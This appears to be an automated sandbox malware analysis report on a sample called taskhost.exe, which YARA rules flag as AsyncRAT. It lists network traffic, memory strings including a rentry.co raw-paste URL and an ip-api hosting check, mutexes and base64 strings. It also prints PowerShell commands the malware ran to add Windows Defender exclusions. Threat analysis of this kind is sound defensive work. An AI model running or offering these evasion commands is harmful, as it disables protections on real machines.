Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Iz2TKKguUpwpnC5geLPLprK83nehs0CCtrwdk1dHr3as%2F3%2FnaVGBQVSMXEmSvR4P%2FcDWIUbeLmFStpLOTdLPpAUVm%2Bbgy1f9tukTXErwCVPxPGvR689Jq1qjw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1563b4fd7e4295-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1612&rtt_var=608&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1795817&cwnd=252&unsent_bytes=0&cid=7fbc11b59a3f741b&ts=814&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rap4EozJcJZIuBQVNuQF6ZlXBSeiyDL%2FOSH1QjFy6QTysydstwxK%2FosnLCDIj%2B2cjyACkVZdnwcGi2lIuHZsheS2EEERVBa1iqebqwQ2Z2BI2oToW%2B6r%2BzjRkw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1563d469f71a0b-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=2190&min_rtt=1932&rtt_var=909&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1511387&cwnd=249&unsent_bytes=0&cid=69bd5b710199f618&ts=574&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sQE3rvNcOEy1fYggusv6moikNKFHIH8whOC71ke7HyjlvAZJrGcvpzIuIVpQjVWbpfi6YSP%2FKCd%2BFTp8mzQKxOU6GmFHiWdWHSzyinmYRizVHKm4u0di8O7n6g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1563f26d4d4343-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1703&min_rtt=1696&rtt_var=651&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1662870&cwnd=244&unsent_bytes=0&cid=3686793b86563647&ts=815&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:50:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H0UUCiFk7O5ndHw%2BlWWNDni8M4LHu7boKi7kxaQqHiRwtcZJB%2BFnYeLb503gOw38NIL1Es8MporO2qFeAUipVxOvnWl5vdwH9YYaVlJEtbVtQJKN5J33Lk6UkQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f156411e9674277-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1563&min_rtt=1554&rtt_var=602&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=685&delivery_rate=1789215&cwnd=191&unsent_bytes=0&cid=8e20a23e1f332c7f&ts=830&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:50:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3CFKKMVz4bSOrNRs%2FmzvgSmPPJEL6XVHIMmMHisHQhMpkc9teMFf%2BHu5S8ZvomhsA4sbeXHNFP7QfF06ocHmRbB63KjAMeueo8aIfrXcfLb6617XVTqfhRxjyw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f15642f98c84332-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1723&rtt_var=660&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2818&recv_bytes=685&delivery_rate=1640449&cwnd=113&unsent_bytes=0&cid=b3df73c5d50b549e&ts=591&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:50:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xhQwP1TvntwpwWtpbh2DORkRDj20wCv4AJa8J%2FthvkBW14z8X%2Fr8%2BP%2F3wGKXBBT5YWfwcih5X6mr9meOiP6iErTPnsgFHQGAKO2U2iPtWMECOLzMqKzL6jnt6Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f15644a2bdc438c-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1698&min_rtt=1692&rtt_var=648&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1671436&cwnd=245&unsent_bytes=0&cid=8982980756dbdc27&ts=580&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:50:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RDYF3hJ3%2FLOA83tMhpfnKr7%2FCrhrrj%2BVpmihWRIr2GxUK%2Bc66ipayGBNkhljLpJO6LokekYQEGazsgltDbJX0zWTE4rbTFrM%2BYuQLNflAGe95zO%2ByTRcbFtrrg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1564635accc425-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1501&rtt_var=611&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1945369&cwnd=240&unsent_bytes=0&cid=ebbe48cb0f259ebb&ts=844&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:50:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c0t%2BXXvw4qlptC70lkohDIpuzR3f5bkibCxLG54AslyzhdxTwNeGop%2BXwLNg9S8IJ%2Fxb0udTPOpaeUlbB4IqPozxvTDC%2BznwQEvhRuWcrMs%2Fm%2FJ5zTmQLmHj9w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f15647ca895431b-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1688&min_rtt=1688&rtt_var=844&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4174&recv_bytes=685&delivery_rate=342200&cwnd=177&unsent_bytes=0&cid=28a45104d1297ad1&ts=584&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:50:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D%2FE2LuRHj2iXYk4D6AIicwxStEq9QjeG3cdW2RQNxwETnijMlwVWBWSDt42wqfmwIoJgcJHah9jA9UVRYlJtEbekvHOeHfcKEbmZHWJWmaQzzK216wq3yoaq%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f156492ea3b421c-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1582&min_rtt=1568&rtt_var=617&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1733966&cwnd=252&unsent_bytes=0&cid=42b037226ab416b4&ts=818&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:50:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rVCCjmWhFJSmeka4%2BeBAECG3RE5Ms3f4pcqCXrxkB0Egw7mY4I%2BAIpkTNmV4aHDDZ%2FwtyZLybV%2FDmWWYMSHe9iH1X1gpNyOCHZdZE33ZmV%2FuYcujupJD5rlCRQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1564a9bd580f9d-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1601&rtt_var=626&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2818&recv_bytes=685&delivery_rate=1713615&cwnd=193&unsent_bytes=0&cid=155000c2e1fe942f&ts=819&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:50:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TPOZKN2WGTx7QfyU3xgbjzRj6167uvazt4QRFCAY1F27BqP3m06Dmo0XI%2FRPKPyxv9lY6owiE86EzU9RwkWehozZE9M%2BiHCxRaOfzIN2RIXxbjUNq31Qec0KXg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1564c03a468c09-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1973&min_rtt=1967&rtt_var=751&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2818&recv_bytes=685&delivery_rate=1444114&cwnd=240&unsent_bytes=0&cid=accc3f17bacb2c88&ts=794&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:50:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Aj3VBETi6hfMikszMAntU5hd6ImUas9hTLVsGIXXBriA9mcRV%2FW4BX7OTvx0UfUnfT2RQ5wmhtA7GFwGpk%2FJdlOpAwut%2F51EI5Qd0PKimnaV2igWxaSldGTbjg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1564d4ebf04294-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1561&rtt_var=601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1795817&cwnd=213&unsent_bytes=0&cid=48c9e8cbea42e50b&ts=573&x=0"

Source: powershell.exe, 0000000C.00000002.1598269735.0000020476C2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mP
Source: taskhost.exe, 00000000.00000002.2545878344.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: taskhost.exe	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000008.00000002.1441756050.000001C5A5B84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1579727738.0000020410072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000C.00000002.1504196016.0000020400229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: taskhost.exe, 00000000.00000002.2545878344.0000000002F0A000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E3B000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000003006000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rentry.co
Source: powershell.exe, 00000008.00000002.1422033285.000001C595D39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1504196016.0000020400229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: taskhost.exe, 00000000.00000002.2545878344.0000000002DE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1422033285.000001C595B11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1504196016.0000020400001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.1422033285.000001C595D39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1504196016.0000020400229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000C.00000002.1504196016.0000020400229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000008.00000002.1461200995.000001C5AE48C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.V
Source: powershell.exe, 0000000C.00000002.1596432437.0000020476A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000008.00000002.1422033285.000001C595B11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1504196016.0000020400001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000C.00000002.1579727738.0000020410072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000C.00000002.1579727738.0000020410072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000C.00000002.1579727738.0000020410072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000C.00000002.1504196016.0000020400229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.1441756050.000001C5A5B84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1579727738.0000020410072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: taskhost.exe, 00000000.00000002.2545878344.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co
Source: taskhost.exe, 00000000.00000002.2545878344.0000000002F0A000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E3B000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/
Source: taskhost.exe, 00000000.00000002.2545878344.0000000002F0A000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E3B000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/static/icons/270.png
Source: taskhost.exe, 00000000.00000002.2545878344.0000000002F0A000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E3B000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/static/icons/512.png
Source: taskhost.exe, 00000000.00000002.2545878344.0000000002D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/ue6sxoup/raw
Source: taskhost.exe, 00000000.00000002.2545878344.0000000002D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/ue6sxoup/rawP
Source: taskhost.exe, 00000000.00000002.2545878344.0000000002F0A000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002E3B000.00000004.00000800.00020000.00000000.sdmp, taskhost.exe, 00000000.00000002.2545878344.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-LLFSDKZXET

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965

Source: unknown

HTTPS traffic detected: 104.26.2.16:443 -> 192.168.2.7:49762 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: taskhost.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.taskhost.exe.b00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000000.1261092658.0000000000B02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\taskhost.exe	Code function: 0_2_00007FFAAC911511	0_2_00007FFAAC911511
Source: C:\Users\user\Desktop\taskhost.exe	Code function: 0_2_00007FFAAC915656	0_2_00007FFAAC915656
Source: C:\Users\user\Desktop\taskhost.exe	Code function: 0_2_00007FFAAC916402	0_2_00007FFAAC916402
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC9D32A1	12_2_00007FFAAC9D32A1

Source: taskhost.exe, 00000000.00000000.1261111681.0000000000B12000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs taskhost.exe
Source: taskhost.exe	Binary or memory string: OriginalFilenameXClient.exe4 vs taskhost.exe

Source: taskhost.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: taskhost.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.taskhost.exe.b00000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000000.1261092658.0000000000B02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: taskhost.exe, iN2F6NEn5nlUN46FY0x.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: taskhost.exe, iN2F6NEn5nlUN46FY0x.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: taskhost.exe, VpjB0nPRwGHi6IjtbgB.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: taskhost.exe, iN2F6NEn5nlUN46FY0x.cs	Base64 encoded string: 'VC1RZy3DgJTRVJpqHXYyOVfyStKoiI12AfoDO2lz2pGXoX1DTC2lEonhuuJch2jPaX33', 'MI4MBGImw9dBVcL1AQCEMDAKLoeSZjCFfpNBgBXsNLpwFTZG2o6TGSMt61rH2zpK3brz', 'LXgoKleuh6vzBaOC7lmwGV9mBp9heXWkfiwrFRlaJGGbvBKllF4R6dy0IqyyysINhyDd', 'q4SUY1EJrZyTvfmGpUZwvtBVAJ4z55GlrPSVlakSdpQZb2kzBa5c3jn1IZLOVLdRKhl2'
Source: taskhost.exe, VpjB0nPRwGHi6IjtbgB.cs	Base64 encoded string: 'nHHZBTl5WZAWsd8DCjcYgXP9DJPD8Lc3cMLYYu1KlCMTabMQgOrw5Aq8bN58LeKcmJfB', 'tbDzLc3rzP9it8TIWUrUCBWJrFERTRWled6kPz709kJLZqOzqkuSAZqdsP5LhVUL8jww', 'iJJhKmlARDIeWAc5iWHEZpw0J9kLJ2jnCoZi4xnWn0mOdzxQZkIrz1H1HRHemm3ovD8F'
Source: taskhost.exe, pS1f3L7Tm54SySzhRUj.cs	Base64 encoded string: 'JvsVWC5j2ZC5r5Y1AwNyt7h3cuifqBtBr7ikeui34uy6xFGFhXuraqxXBPFpa2NoN6dd', 'YuAEV3dNWu6rpuYQt4WKehGOFyNdEfCYU1zLWufmTOF4H7ySH9jzf2zAPTzFWXgBVIPM', 'QAh47AqDJrEsor95LGaYTajGYx1TxKG5xA90A0M9QiU0iNqixfVqyysmOh3XjKVB6Q7l', 'WZdrKtl5nr3NwLl5wUHSeRav7IKaXq5L8UKtU3ByXr7cHwFBcbTz7z8ieeMbbEakP4Hj', 'TPBkBelY8IX6jF3gs7WRxu1UH1qneRqx9SntZyfWsHpQqLlePMZUVOIIBw8t0TYbYe9B', 'kMnOy8eoPeCj7WdDHL8McDtpEfn7gyJF5ZhlYs7bfF4tSQNM5u7d6UlCpOygvh2PQIIq', 'K2julVlAopX5ZY6vuL7hI8V1zy0VBzKQgdFkg4U0KfHDRPFYnVFm2g2DpJoVXwcj7eyI', 'uzPXtpE3ZYmzWf4MVYK0lO9jybnkTaI7fg2oNCnSaDYuH9eEtggKu0RTIMhzB7Hck0Sh', 'j6qxnX7NodoXQtU5EoH1kzhSIremrezZ7AnAuHHcM2tmhDYPWnKZJmhbZ90LxtKthAkY', 'H7kXYTgxPET9l4RLcmSl0REzB86NbAaOyGLEQTYoxSb3FXomFVhkomHQEEZMoAabcBWR'

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/9@2/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\taskhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\7sGvSvd4MtquysHs
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7824:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3uyyjfj.mch.ps1

Jump to behavior

Source: taskhost.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: taskhost.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\taskhost.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: taskhost.exe

ReversingLabs: Detection: 78%

Source: unknown	Process created: C:\Users\user\Desktop\taskhost.exe "C:\Users\user\Desktop\taskhost.exe"
Source: C:\Users\user\Desktop\taskhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\taskhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskhost.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\taskhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe'	Jump to behavior
